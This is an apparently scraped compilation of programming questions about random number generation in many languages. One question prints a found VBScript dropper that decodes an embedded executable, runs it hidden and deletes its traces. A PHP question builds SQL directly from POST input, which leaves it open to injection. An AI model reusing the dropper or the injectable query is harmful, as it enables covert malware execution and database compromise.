0.00032, 0.00032, 0.00032, 0.00032, 0.00032, 0.00032]


def func(x, y):
    d, x_low, N_add = [], 0.01, 0.
    # For each upper x limit
    for x_up, N in zip(*[x, y]):
        # Number of elements in this range
        N += N_add
        # If the number of elements is < 1., combine with the next segment
        if N < 1.:
            N_add = N
        else:
            # Generate N random elements in this range
            d.extend(np.random.uniform(x_low, x_up, int(round(N))))
            # Reset the number of elements and move the lower x limit.
            N_add, x_low = 0., x_up

    return np.asarray(d)




Unable to counter a loop via enumerate() in Python 3 due to 'TypeError: 'int' object is not iterable'

Note: this is my first program i've ever written and first time posting to SO, so if I've committed some grave sin please let me know.

I'm attempting to write a program that will generate a random number (planet_seed), generate a random number that many times, and then increment a counter once for that.

For example, if planet_seed was 2, I would need to generate one random number (planet_type), increment a counter, and then add that counter to the second random number; so if on the first loop, planet_type would be + 0, then + 1 on the next, and + 2 on the next, and so forth.

What I have now is as such. I've included the whole code since I frankly have no clue what's going on.

import random

# determine single, bi-, tri- system

system_type = random.randint(1, 6)
system_struct = ['null', 'single', 'single', 'single', 'binary', 'binary', 
'trinary']
print('This is a ' + (system_struct[system_type]) + ' star system.')
if system_struct[system_type] == 'single':
    star_num = 1
if system_struct[system_type] == 'binary':
    star_num = 2
if system_struct[system_type] == 'trinary':
    star_num = 3

# determine star types

star_list = ['null','white main sequence', 'white dwarf', 'yellow Main 
Sequence', 'red Carbon Star', 'red giant', 'orange main sequence', 'red 
dwarf', 'red supergiant', 'brown dwarf', 'methane dwarf', 'ultraviolet 
luminous', 'ultraviolet supergiant', 'blue luminous', 'dying supergiant',
'neutron star', 'quark star', 'black hole', 'dark star', 'boson star', 'ice 
star']

for a in range(star_num):
    star_type = random.randint(1,21)
    print('The star is a ' + (star_list[star_type]) +'.')

# determine number of planets
planet_seed = random.randint(2,12)

for counter,b in enumerate(planet_seed):
   planet_type = random.randint(1,6)

When I run this, I get

  File "C:/Users/Cinaed/PycharmProjects/NEW System Generator/Star System 
Type.py", line 28, in <module>
    for counter,b in enumerate(planet_seed):
TypeError: 'int' object is not iterable

spat back at me. Any insights?




My birthday paradox event simulator in javascript is not working well

I tried to do a in Javascript a birthday paradox event for 23 students, it should give me an average probability of 51% but it always give me number around 67%. Here the code:

var pers = [];
var D = 0;
for (var i = 0; i < 10000; i++) {
    for (var k = 0; k < 23; k++) {
        pers.push(Math.floor((Math.random()*366) + 1));
    }
    var npers = pers.slice();
    npers.sort();
    for ( var v = 0; v < npers.length; v++ ) {
        if (npers[v-1] == npers[v]) {
            D++;
        }
    }
    pers = [];
}
D = D / 100;
var DD = D.toString(); 
DD = DD + "%";
document.write(DD);

Could you,please, tell me where I committed a mistake ? Thank you very much. I'm sure that I've committed a mistake because the lowest percentage that I got was 66%, well over the 51% goal. (I've ran it several times). Thank you again for your help, it's been hours that I'm trying to figure out what I got wrong but I can't get it.




The correct way to produce random number sequence through pseudorandom naive random number generator

I want to evaluate the pseudorandom naive random number generator(prng) in Node.js: Math.random and also other third party prng.

The test suite I use is ENT.

The problem I face is that how to generate the input file for ENT through prng in Node.js:

function generateNumber() {
    return Math.floor(Math.random() * 10)
}

const numbers = []
for (let i = 0; i < 10000000;i++) {
    const r = generateNumber()
    numbers.push(r)
}

let result = ''
numbers.map(function (t) { result += t })
const fs = require('fs')
fs.writeFile('output.txt', result)

the file generated from above did not work well with ENT. However, I created another file in Linux command:

dd if=/dev/random of=random_output count=8192

and this output worked well. I found that the file I created with nodejs is with 0s and 1s as a text file. Maybe the sequence should be converted to a binary file. I want to know how to modify my javascript code?




Filling a list with random bytes

I'm trying to fill a buffer with random bytes. The buffer is defined as a list of bytes. This is something that I want to keep as it is. Here is the definition:

namespace NameofProject
{
    public partial class Form1 : Form
    {
    List<byte> buff = new List<byte>();
    }

}

And my first attempt is

public static void RandomFillBuffer()
{
   Random rnd = new Random();
   rnd.NextBytes(buff);
}

Yet this gives such an error for buff: An object reference is required for the non-static field, method, or property 'Form1.buff'

Then I just deleted the word "static" (I am not sure whether this is true) and it becomes "public void RandomFillBuffer()", but this time I am getting this error for buff: Argument 1: cannot convert from 'System.Collections.Generic.List' to 'byte[]'

I'd appreciate any help to solve any of the 2 errors if they make sense.




Producing adjacency matrix for random connected graphs with at least one negative cost cycle

How can I produce adjacency matrix for random connected graphs with at least one negative cost cycle? Such graphs are useful for testing the algorithms that find negative cost girth in a graph. Thanks




How to write a recursive function that jumbles up numbers from 0 to 6 in a random manner?

Basically i want to write a function that takes values from 0 to 6 and gives back a random assortment such as 2,3,4,5,0,1,6. Here is the code that i came up with. However the problem is that the integer prev (meaning previous) does not store all the old values of r (random number) and thus some values end up being repeated. How might i fix this?

int s(int b)
    {
        // b is 7
        int h = b-1;
        int prev = -1;// to store the previous r value
        srand(time(0));
        for (int i = 0; i < b; i++)
        {
            int r = rand()%(h - 0 + 1) + 0;
            if (r != prev)
            {
             cout << r << endl;
             prev = r;
            }
            else if (r == prev)
            {
                s(b);
            }
        }

        return 0;
    }




Adding the randomly picked numbers

Sorry for the English in advance. The following code gives me the random picks and I want the sum of them'

import random
print ('Your five random numbers are')
for i in range(1):
print (random.sample([10,12,14,15,17,24,27,30,32,35,38,39,42,45,46,47],5))

OUTPUT

Your five random numbers are [39, 10, 15, 38, 24]




How to display a specific range of random numbers in java using Math.random [duplicate]

This question already has an answer here:

So, I am fairly new to programming and I started learning about Math.random. I am trying to code a program that will print values in between 4 - 12 but i can't seem to print only the values inside that range. It prints 13 which i don't want to

My Code:

public class MathRandom{
    public static void main(String[] args){

        for(int x = 0; x < 10; x++){ //Just to test what numbers are displayed
        System.out.println((int) (Math.random() * 10) + 4);

        }
    }
}

Did I miss something? thanks in advance for the help




Swift: how to call the function which calls a random function?

I have four functions which I want to activate randomly. This is the code I have so far, which I get no errors from. However, I get an error "Expression Resolves to an unused function" when I try to call the createSquare() function.

func createSquare () -> () -> () {
    let squares = [self.squareOne, self.squareTwo, self.squareThree, self.squareFour]

    let randomSquare = Int(arc4random_uniform(UInt32(squares.count)))

    return squares[randomSquare]

}
if gameIsOn == true {
    createSquare()
}

How can I successfully call the function createSquare()?




Select random rows from database apart from select few MySQL

Is there possibly a way where I am able to randomly select rows from my database but override this if I want a row to be displayed.

For example, if I wanted to select 6 random rows where the username is Bob but there is 1 important row which I want to be displayed with the usernameBob, how would I select 5 random rows and the one important row?

My code currently:

$query = "SELECT * FROM user WHERE username LIKE '%".$_POST["query"]."%' OR email LIKE '%".$_POST["query"]."%' OR first_name LIKE '%".$_POST["query"]."%' OR last_name LIKE '%".$_POST["query"]."%' ORDER BY RAND() LIMIT 6";

Thanks in advance.




What is the PHP function to return a random value from an associative array?

I thought it was that simple as I used array_rand trying to get a random value from the following array:

$array= Array ( [0] => 126 [1] => 74 );
array_rand($array);

But it is returning 0, what tells me, this is not the right function in this case.




Prioritize files and display random lines from the file in PHP

Is there a way to shuffle some files and display random lines of information from each file, but still the files to have priority (e.g random line from File1 should appear 50% of the times, random line from File2 should appear 20% of the times etc.). Do you have any ideas?

Thanks in advance!




mardi 29 août 2017

Divergence between RNGs in identically seeded instances of the same C++ program

I am currently implementing a machine learning method, which makes use of random numbers in C++. I am using boost and a seeded mersenne twister to initialize the RNG. Curiously, when I run seeded instances the RNGs diverge after a certain time of producing identical random numbers. I am stumped as to how this is possible since the RNGs should be deterministic. When running the RNG code excluded from the other program code I obtain the desired identical (pseudo-)randomness. Has anyone an idea as to what could be causing the divergence or an idea how to debug this?




How do I get an ArcGIS Online web map to update images when the images are coming from a randomly generated link?

I am creating a web map that shows images from a live traffic feed. The feed, which is coming from the Texas Department of Transportation's website, updates every few minutes. When the updates happen on TxDot's website, a link is randomly generated. That means when I copy and paste the link from the website into my CSV, I am pulling one of those randomly generated links. The links will only show the picture from when the link was pulled and will not update with the most current picture from TxDot's website.

Is there a way, either within the CSV file I am building to create the web map or within ArcGIS online, to get the most up-to-date link without having to manually input it? Each image I am trying to capture is uniquely named within the TxDot website. That unique name is used in my CSV.




Android Studio setVisibility affects random things

So basically, this is my code:

        @Override
    public View getView(int position, View convertView, ViewGroup parent) {
        ViewHolder holder;
        if (convertView == null) {
            convertView = LayoutInflater.from(context).inflate(R.layout.item_disable_app_list_view, parent, false);
            holder = new ViewHolder();
            holder.nameH = convertView.findViewById(R.id.appName);
            holder.packageH = convertView.findViewById(R.id.packName);
            holder.switchH = convertView.findViewById(R.id.switchDisable);
            holder.imageH = convertView.findViewById(R.id.appIcon);
            convertView.setTag(holder);
        } else {
            holder = (ViewHolder) convertView.getTag();
        }
        AppInfo appInfo = applicationInfoList.get(position);
        holder.nameH.setText(appInfo.appName);
        holder.packageH.setText(appInfo.packageName);
        holder.switchH.setChecked(!appInfo.disabled);
        if (appInfo.system) {
            convertView.findViewById(R.id.systemOrNot).setVisibility(View.VISIBLE);
            if (appInfo.packageName.equals("com.samsung.android.bixby.es.globalaction") ||
                    appInfo.packageName.equals("com.samsung.android.app.spage") ||
                    appInfo.packageName.equals("com.samsung.android.bixby.plmsync") ||
                    appInfo.packageName.equals("com.samsung.android.visionintelligence") ||
                    appInfo.packageName.equals("com.samsung.android.bixby.agent") ||
                    appInfo.packageName.equals("com.samsung.android.bixby.agent.dummy") ||
                    appInfo.packageName.equals("com.samsung.android.bixby.voiceinput") ||
                    appInfo.packageName.equals("com.samsung.android.bixby.wakeup")) {
               convertView.findViewById(R.id.switchDisable).setVisibility(View.GONE);
            } else
            {
                convertView.findViewById(R.id.switchDisable).setVisibility(View.VISIBLE);
            }
        } else {
            convertView.findViewById(R.id.systemOrNot).setVisibility(View.GONE);
        }
        try {
            holder.imageH.setImageDrawable(packageManager.getApplicationIcon(appInfo.packageName));
        } catch (PackageManager.NameNotFoundException e) {
            Log.e(TAG, "Failed to get ImageDrawable", e);
        }
        return convertView;
    }

As you can see in one place it checks whether appInfo.packageName.equals some package names (mainly samsung bixby apps) and then hides a switch for those apps. However switch also disappears next to SOME of the packages that are not bixby AND aren't even system apps.

When I added else case to set to visible, switch reappeared next to some of the falsely hidden packages. Every time I run a program, same packages are affected.

Now, I know that this isn't a case with false positives because if I make it show a toast message in addition to setting visibility to gone, toasts aren't showing up for them (only shows up for bixby apps).

I'm lost. This is my first ever android project. Not only android actually. Thanks in advance.




Random selection from array list

I want to select a student randomly for messfood(). Trying to print the student name there.Each week, any of the student should be selected for mess food charge. Tried with String random = list.get(new Random().nextInt(list.size()));. But is shows error. Help me with this.

public class Student {
int rollNo, yearOfStudy;
String fName, lName, activity;

Student(int rollNo, String fName, String lName, int yearOfStudy) {
    this.rollNo = rollNo;
    this.fName = fName;
    this.lName = lName;
    this.yearOfStudy = yearOfStudy;
}
public void display(){
    System.out.println("Roll Number: "+rollNo +"\nName: "+fName+ " "+lName + "\nYear Of Study: "+yearOfStudy+"\n\n");

}
public void messFood(){
    System.out.println("week 1, Mess food Incharge: ");

}

}

class Collection {
public static void main(String[] args) {
    Student s1 = new Student(1, "Alex", "Iwobi", 2013);
    Student s2 = new Student(2, "Denis", "Suarez", 2013);
    Student s3 = new Student(3, "Gerard", "Deulofeu", 2013);
    Student s4 = new Student(4, "Petr", "Cech", 2013);



    List studentList = new ArrayList();
    studentList.add(s1);
    studentList.add(s2);
    studentList.add(s3);
    studentList.add(s4);


    Iterator it = studentList.iterator();
    while(it.hasNext()){
        Student s=(Student)it.next();
        s.display();

    }
}

}




Non-reproducible random numbers using `

I am trying to create a class that produces random numbers for multiple distributions, while keeping them reproducible (by setting an initial seed).

The code seems to work, until I start to use the normal distribution and weird errors surface. These are mainly:

  • If I uncomment the double a = rnd.rnorm(0.0, 1.0);-line (line 40) (that is if I call rnorm before setting a seed), the first random number of the normal distribution does not match anymore, the random numbers afterwards match again
  • If I retrieve an odd-number of random numbers from the normal distribution, the normal random numbers are shifted by one (for example by setting line 39 to int n = 3;)
  • If I do the two things together, the random numbers get shifted by one in the other direction (lead)

Now my question is, what causes this weird behavior? Have I implemented RNG in a wrong way? And most importantly, how can I fix it?

Code

If you want to test the results yourself you can use this http://cpp.sh/9phre

or this

#include <stdio.h>
#include <random>

// Class to create random numbers 
// Main functions to set the seed: setseed()
// create uniformly distributed values: runif()
// and normally distributed values: rnorm()
class RNG {
public:
    RNG(int seed = (int) time(0)) {
        setseed(seed);
    };
    ~RNG() {};
    void setseed(int newSeed) {
        re.seed(newSeed);
    };

    double runif(double minNum, double maxNum) {
        return dud(re, distUnifDbl::param_type{minNum, maxNum});
    };
    double rnorm(double mu, double sd) {
        return dnd(re, distNormDbl::param_type{mu, sd});
    };

private:
    // take the Mersenne-Twister Engine
    std::mt19937 re {};
    // create the uniform distribution
    using distUnifDbl = std::uniform_real_distribution<double>;
    distUnifDbl dud {};
    // create the normal distribution
    using distNormDbl = std::normal_distribution<double>;
    distNormDbl dnd {};

};

int main(int argc, char const *argv[]) {
    RNG rnd;
    int n = 4; // setting n to an odd number, makes _all_ normal numbers non-reproducible
    //double a = rnd.rnorm(0.0, 1.0); // uncommenting this, makes the _first_ normal number non-reproducible

    printf("Testing some Uniform Numbers\n");
    rnd.setseed(123);
    for (int i = 0; i < n; ++i) {
        printf("% 13.10f ", rnd.runif(0.0, 1.0));
    }
    rnd.setseed(123);
    printf("\n");
    for (int i = 0; i < n; ++i) {
        printf("% 13.10f ", rnd.runif(0.0, 1.0));
    }
    printf("\n");

    printf("\nTesting some Normal Numbers\n");
    rnd.setseed(123);
    for (int i = 0; i < n; ++i) {
        printf("% 13.10f ", rnd.rnorm(0.0, 1.0));
    }
    rnd.setseed(123);
    printf("\n");
    for (int i = 0; i < n; ++i) {
        printf("% 13.10f ", rnd.rnorm(0.0, 1.0));
    }
    printf("\n");
    return 0;
}

Results

Base-case

When setting n = 4 and leaving a commented, I receive the following (which is exactly what I want/need; reproducible "random" numbers):

Testing some Uniform Numbers
 0.7129553216  0.4284709250  0.6908848514  0.7191503089 
 0.7129553216  0.4284709250  0.6908848514  0.7191503089 

Testing some Normal Numbers
-0.5696096995  1.6958337120  1.1108714913  0.9675940713 
-0.5696096995  1.6958337120  1.1108714913  0.9675940713 

Error 1

Now for the errors. Setting n = 5 (or any odd number), I receive:

Testing some Uniform Numbers
 0.7129553216  0.4284709250  0.6908848514  0.7191503089  0.4911189328 
 0.7129553216  0.4284709250  0.6908848514  0.7191503089  0.4911189328 

Testing some Normal Numbers
-0.5696096995  1.6958337120  1.1108714913  0.9675940713  1.5213608069 
-0.0482498863 -0.5696096995  1.6958337120  1.1108714913  0.9675940713 

Which apparently shifts all normal numbers by 1. The uniform numbers stay intact (which is good, I guess).

Error 2

Uncommenting the one line (i.e., calling rnd.rnorm(0.0, 1.0) once before setting the seeds), leads to the following output (with n = 4 or any other even number)

Testing some Uniform Numbers
 0.7129553216  0.4284709250  0.6908848514  0.7191503089 
 0.7129553216  0.4284709250  0.6908848514  0.7191503089 

Testing some Normal Numbers
 0.9761557076 -0.5696096995  1.6958337120  1.1108714913 
 0.9675940713 -0.5696096995  1.6958337120  1.1108714913 

Which apparently breaks only the first normal random number, again leaving the uniform numbers ok.

Error 3

Using the two points together (leaving the line uncommented and setting n to an odd-number), I get this

Testing some Uniform Numbers
 0.7129553216  0.4284709250  0.6908848514  0.7191503089  0.4911189328 
 0.7129553216  0.4284709250  0.6908848514  0.7191503089  0.4911189328 

Testing some Normal Numbers
-0.4553400276 -0.5696096995  1.6958337120  1.1108714913  0.9675940713 
-0.5696096995  1.6958337120  1.1108714913  0.9675940713  1.5213608069 

Now the second number of normal random numbers gets shifted by one into the other direction (lead).

System spec

I am using this on an Ubuntu 16.04 and g++ --version g++(Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609




What is the meaning of the error with random in my java code?

import java.io.*;
import java.util.*;

class Random{

public static void main(String[] args){

    Random obj = new Random();

    int n=10,sum=0,rand;

    for(int i=0; i<n; i++){
        rand = obj.nextInt(10) + 1;
        sum += rand;
        System.out.println("The number is: "+ rand);
        System.out.print("Start Pattern: ");
        for(int j=0; j<rand; j++)
            System.out.print("*");
    }
    System.out.println("\n Sum is : "+sum);
    System.out.println("Average is: "+(sum/n));
    }
}

Shows error: cannot find symbol. I think my code is correct but don't know why it is showing this error.




random sampling based on groups in R

I want to do a random sampling of the dataframe df such that each "group" have equal number of samples.

set.seed(1)
    df = data.frame(matrix(rnorm(30), nrow=15), group = sample(LETTERS[1:3], 15, replace =TRUE))

i used library(dplyr); sample_n(df, 4), but this will do a random sampling of df.




Generating true random numbers inside of a header file in C++

In C++, I am trying to define several functions inside a custom header file, say random.h, to generate random integers using them. I,ve included the necessary header files and made a namespace like the following inside my header file:

namespace myrand {
   int random()
   {
      srand(time(0));
      return rand();
   } 
}

Then I called this random function in my main function inside a for loop like this (I have included the header file and used the namespace ...):

for(int n=0; n<10; n++)
{
   cout << random() << endl;
}

I expected to get 10 different true random numbers, but what I get is 10 times repetition of a random number. When I use the same functions (srand(), time(0), rand()) inside the main function I get the expected result, but when I put them inside a function and put that function inside a header file and call it the result is as I said a repetition of random numbers. So I thought maybe I am missing some point about defining a function in a custom header file or about calling it.

So my question is how can I make true random integers using a function which is defined in a custom header file?




lundi 28 août 2017

Why am I getting the same value for echo $RANDOM for all iterations in bash?

bash script:

for c in $( seq 1 10) 
do
   echo "random value #$c:$(echo "$RANDOM")" 
done

output:

random value #1:20892
random value #2:20892
random value #3:20892
random value #4:20892
random value #5:20892
random value #6:20892
random value #7:20892
random value #8:20892
random value #9:20892
random value #10:20892



How do you print values in lists with their index number in Python 2.7?

I am trying to make a Blackjack game in python. I ran into a problem because I am trying to use the random module with my game. I used the random module to get a number that coordinates with the index number in my list. The list I made consisted of card face values. I don't know how to print these values using the random index number, though. Here is my code:

# this is a blackjack game made in python
import random
import time

# make a list full of the card values
cards = (["A", "K", "Q", "J", 2, 3, 4, 5, 6, 7, 8, 9, 10])

indexNum1 = random.randint(0,12)
indexNum2 = random.randint(0,12)
indexNum3 = random.randint(0,12)
indexNum4 = random.randint(0,12)
indexNum5 = random.randint(0,12)

for card in cards:
    print card(indexNum1)
    print card(indexNum2)
    print card(indexNum3)
    print card(indexNum4)
    print card(indexNum5)

I hope someone can help me solve this problem. Thanks!




Randomly assign different values to rows using different probability in R

Have such a data frame:

ID var
1  NA
2  NA
3  NA
4  NA
...

I need to randomly assign var values of 20% rows to be A, and 30% rows to be B, and 50% rows to be C.

Is there some efficient way to solve this?




Excel automated random selection

I have table that has repeated timestamps (multiple records within 1 second). there are a variable number of records within each second; ranging from 1 record to 103 records within a second. I wish to develop a method to select only one random record from all the records with the same timestamp.

The Time column is column A. if possible, i would like the end result of the formula (or macro/VBA) to have the word Keep in column B in the row that was randomly selected. all other non-randomly selected rows can be left blank.

thanks and i apologize if my example data table is not formatted correctly.

Time
7:51:05
7:51:05
7:51:05
7:51:05
7:51:05
7:51:05
7:51:05
7:51:05
7:51:05
7:51:05
7:51:05
7:51:05
7:51:05
7:51:05
7:51:05
7:51:05
7:51:05
7:51:05
7:51:05
7:51:05
7:51:05
7:51:05
7:51:05
7:51:05
7:51:06
7:51:06
7:51:06
7:51:06
7:51:06
7:51:06
7:51:06
7:51:06
7:51:06
7:51:06
7:51:06
7:51:06
7:51:06
7:51:06
7:51:06
7:51:06
7:51:06
7:51:07
7:51:07
7:51:07
7:51:07
7:51:07
7:51:07
7:51:07
7:51:07
7:51:07
7:51:07
7:51:07
7:51:07
7:51:07
7:51:08
7:51:08
7:51:08
7:51:08
7:51:08
7:51:08
7:51:08
7:51:08
7:51:08
7:51:08
7:51:08
7:51:08
7:51:08
7:51:08
7:51:08
7:51:08
7:51:08
7:51:08
7:51:09
7:51:09
7:51:09
7:51:09
7:51:09
7:51:09
7:51:09
7:51:09
7:51:09
7:51:09
7:51:09
7:51:09
7:51:10
7:51:10
7:51:11
7:51:11
7:51:11
7:51:11
7:51:11
7:51:11
7:51:12
7:51:12
7:51:13
7:51:13
7:51:13
7:51:13
7:51:13
7:51:13
7:51:14
7:51:14
7:51:15
7:51:15
7:51:15
7:51:15
7:51:15
7:51:15
7:51:16
7:51:16
7:51:17
7:51:17
7:51:17
7:51:17
7:51:17
7:51:17
7:51:18
7:51:18
7:51:19
7:51:19
7:51:19
7:51:19
7:51:19
7:51:19
7:51:20
7:51:20
7:51:21
7:51:21
7:51:21
7:51:21
7:51:21
7:51:21
7:51:22
7:51:22
7:51:22
7:51:22
7:51:23
7:51:23
7:51:23
7:51:23
7:51:23
7:51:23
7:51:23
7:51:23
7:51:23
7:51:23




Random output from list matched by a seperate list

I'm making a worded numbers to numbers test for an assessment in school and need to generate a random worded number. I can do that but I need an answer to that random number in order to check if its right or not. I use four lists for the worded questions such as thousands, hundreds, tens and units. Then I print out the worded number using random selections from each list. I have another list with actual numbers in and need to know how to match what the worded number is with the actual number. So if it generates one thousand how do I match that to 1. Or nine hundred how do I match it to 9. Is there a faster way at all? I can provide my code if necessary but its a bit long. I'm pretty much a beginner as well.




Int(input) linked to a conditional if statement doesn't output correctly, and else statement callback forms an infinite recursion loop

(I'm still new to forum posting, apologies if this is laid out/worded poorly)

Please could you help me solve this. My question is that I'm trying to get the user to input an integer that is valid to a dice, eg, 6, 12, 20 etc. (I only have it set up for D6 and D20's currently) for my dice rolling application that I aim to work like a standalone version to what is used on Roll20.net,

I have two issues:

1.) When the user picks a valid die, eg 6 or 20, rather than rolling said die, it just returns the number 6 or 20, or any number you type in past the first else failure, eg 12, 76, 9709487. When instead it should post either a 1 or a 2 with the respective print statement as I have randint set to (1,2) testing the print statements.

2.) Trying to callback the pick_dice function for another attempt causes the program to fall into a recursion loop, and trying to use a break statement also causes me to have an error. If a string is attempted as an input a ValueError is thrown up rather than just the else statement. I'm finding this extremely confusing, I'm not even sure if I am using the correct conditionals (I find the python documentation extremely confusing and I cannot find anything on there that makes sense to help me solve my issue).

My Code:

import random
from random import randint

d20 = randint(1,2)  #for test purposes rather than (1,20)
d6 = randint(1,2)

str1 = "You rolled a "
str2 = "Uh Oh, Critical Fail"
str3 = "Congrats Critical Hit"

#num = d20
#To select a die - More will be added later e.g. d10, d12, d100
num = int(input("Please pick a valid die: 6 or 20: "))


def roll(d20):
    print(str1, d20)

    if d20 == 1:
        print(str2)    
    elif d20 == 2:
        print(str3)

#roll(d20)

def roll(d6):
    print(str1, d6)

    if d6 == 1:
        print(str2)    
    elif d6 == 2:
        print(str3)

#roll (d6)


def dice():
    if num == d20:
        roll(d20)
    elif num == d6:
        roll(d6)

dice()


def pick_dice():
    print (num)
    if num is 6 or num is 20:
        dice()
    #elif num != 6 or num != 20:
    else:
        print ("Please input a valid die")
        #I would put a break statement here but it causes an error
pick_dice()

Should I just give up on the user input and try and build a GUI to where I just use a combobox within Tkinter for Dice selection, and buttons to call functions? As I aim to build a GUI for this program at some point. I'm really struggling to understand these basics.

I hope somebody out there is able to help me or point me in the right direction, thank you.




What is the exact nature of differences or similarities between random.setstate() and random.seed()

I have an understanding (on a very high level) about the usage of seed to generate the random numbers. so setting a particular seed prior to generating random numbers would result in generating the same numbers at each call.

I am assuming restoring the state by

import random
test123 = random.getstate()
random.setstate(test123)

would also result in the replication on random numbers by some similar process

i am looking for an understanding in their similarities and differences. For example: are setting the seed to some value and restoring the internal state of the generator via random.setstate(random.getstate()) certain methods in every situation for replicating random numbers?

there is not much documented about them that i could find




C++ 11 random number generation not working

//My trial program
#include<iostream>
#include<random>

using namespace std;

int main(){

    //USed to initialize (seed) the random number generator
    random_device sd{};

    // The random number generator
    mt19937 engine {sd()};

    //Uniformly distribute random numbers in [1...10]
    uniform_int_distribution <> dis{1, 50};

    //Generate a random integer
    int x {dis(engine)};

    //Print it 

    cout<<x<<"\n";

    return 0;

}

I have used the code above to a generate random number between 1 to 50. But whenever I run the program, the random number generated is the same. An online course that I am taking has this code and it works perfectly fine on the instructor's clang compiler. I am using gcc compiler. Can anyone tell me what needs to be done please? thank you!!




Words to be shown on the index page with a size,position and color depending on how many times the words were typed by the Visitors

I have a search box whenever user type any word and press enter that word save in database. I have queries through which i can get the info that how many times one word is entered by visitor. But i need a layout like this with a size,position and color depending on how many times the words were typed by the Visitors

  1. Letters sizes-based on the searches-the smallest letters are for searches that are not popular;the largest letters are for the most popular words
  2. Letters colors-random shades of grey
  3. Words cloud-the words,which are not popular are on the top of the cloud;the popular words are at the botom

This should be the layout

Can anyone help?




how to generate random token using username and timestamp

I am trying to generate hash token using timestamp and username of the person by using npm-token. The only problem I am handling is that the token generates consists of a '/' which is hindering with my url.How do I remove that using token-npm




Multiple instantiations of Random() in tight loop

After reading Random Number Between 2 Double Numbers and MSDN: Random Class (System), I still do not understand why instantiating Random outside of a tight loop can avoid generating identical numbers.

MSDN says:

Both to improve performance and to avoid inadvertently creating separate random number generators that generate identical numeric sequences, we recommend that you create one Random object to generate many random numbers over time, instead of creating new Random objects to generate one random number.

I tested it and if a new Random is instantiated in the loop, I get identical results, and if I instantiated outside the loop or as a static variable, I get different random result. Why?

If Random uses a time-dependent seed value, either of the above would probably be speedily processed instantly with any modern processor, and should give me both identical results. And if not, even if I instantiate the Random outside of the loop, I still pull the value off the object in each loop and that loop should run fast enough that I would still get identical results.

Would someone help explain the concept more clearly?




How to 8 digit random number is less secure using Python

I am generating an 8 character random string and using it as a password. Code:

import random
import string
password = ''.join(random.SystemRandom().choice(
                         string.ascii_uppercase + string.digits) for _ in range(8))

I need to know if this type of random generation is secure or not, and how an attacker could attack this.




Write a Java method that generates random integer values and stores them in a file [on hold]

The method has the following parameters: numValues: int, minValue: int, maxValue:int, filename:String. The return type of the method is void.




dimanche 27 août 2017

Python3: How to generate a pseudo-random sequence per object?

I have a test project where some entity can fire a bullet, and depending on the hit orientation and some random values, it can either impact or be deflected.

When running offline, its rather easy to generate random numbers on the go in order to tell if a shot should ricochet or not, as with random.randint() or random.random().

But I'm looking to broadcast the firing event via UDP, so that other clients can display the same entities/projectiles on their screen.

Projectiles are very high velocity, so I can't wait for the server to tell me the past location and just use that (I could correct the trajectory though). The main idea is to receive the fire call from the remote entity, get some values such as position, velocity, randseed.

My problem is how do I use seeds for each entity ?

Say I have 10 bullets at once on my screen, each with its own pseudo-random seed, I want bullets to generate their own pseudo sequence, as they would on one side of the network or another.

Example:

class Bullet(object):
    def __init__(self, pos, v, seed):
        self.randgen = InstanciableGenerator(seed)
        # ...

    def hit(self, pos, ...):
        currentRandom = self.randgen.get()
        # ...

So that each instance has its own random sequence, not one shared by the random.seed() across each random.random() calls.

How to generate distinct pseudo-random sequences ?

If it were to be a bad idea, what would be the best approach to broadcast a firing event, so that it is somewhat sync with all clients + server ?

PS: The server has full authority, the sync is for display purposes.




Random vbs file in C drive

While looking for the reason my C drive is randomly filling up, i found a .vbs script on my C drive. I don't know what this script is doing, so I came here to ask that question.

Function ITQhMxRJKrbkYj(oCFkzJcnvtbqOxC)
QCZWIVQUHWrOwV = "<B64DECODE xmlns:dt="& Chr(34) & "urn:schemas-microsoft-com:datatypes" & Chr(34) & " " & _
    "dt:dt=" & Chr(34) & "bin.base64" & Chr(34) & ">" & _
    oCFkzJcnvtbqOxC & "</B64DECODE>"
Set nRkeGagiGFdR = CreateObject("M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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="
Dim sZtuJKVvrZ
Set sZtuJKVvrZ = CreateObject("Scripting.FileSystemObject")
Dim vZMXUFnw
Dim EMzuzIJTEAJayKc
Set vZMXUFnw = sZtuJKVvrZ.GetSpecialFolder(2)
EMzuzIJTEAJayKc = vZMXUFnw & "\" & sZtuJKVvrZ.GetTempName()
sZtuJKVvrZ.CreateFolder(EMzuzIJTEAJayKc)
clFWYdWuZjHux = EMzuzIJTEAJayKc & "\" & "ubHRYodoeZpb.exe"
Dim gTMKybfDyfjZFbr
Set gTMKybfDyfjZFbr = CreateObject("Wscript.Shell")
EtMoZJeAvsQI = ITQhMxRJKrbkYj(fcSvgGPgDclpiLG)
Set KmnsGDrsBcGzHR = CreateObject("ADODB.Stream")
KmnsGDrsBcGzHR.Type = 1
KmnsGDrsBcGzHR.Open
KmnsGDrsBcGzHR.Write EtMoZJeAvsQI
KmnsGDrsBcGzHR.SaveToFile clFWYdWuZjHux, 2
gTMKybfDyfjZFbr.run clFWYdWuZjHux, 0, true
sZtuJKVvrZ.DeleteFile(clFWYdWuZjHux)
sZtuJKVvrZ.DeleteFolder(EMzuzIJTEAJayKc)
End Function

Do
nWfBBZaUiYmjmFL
WScript.Sleep 5000
Loop

Now, I think this might be related to Cyber reason ransom free, but I'm not sure. Does anyone know what this could do? Yes, i did look on the internet for any tips on what this could be.




Get random string, one after another without repeating the string

The code above prints in user's console the badgeIds one after another, in the mentioned order. How can I make the script to print one after another, but in a random order and without repeating the same string? Thanks in advance!

var badgeIds=["badge-25621456-2","badge-25621456-4","badge-29532350-
3","badge-40381269-2","badge-41914499-2","badge-97582370-1","badge-97582370-
2","badge-114377462-1"];
var badgeCount=badgeIds.length;
var badgeGrantError=0;
var badgeGrantSuccess=0;
var lastErrorMessage='';
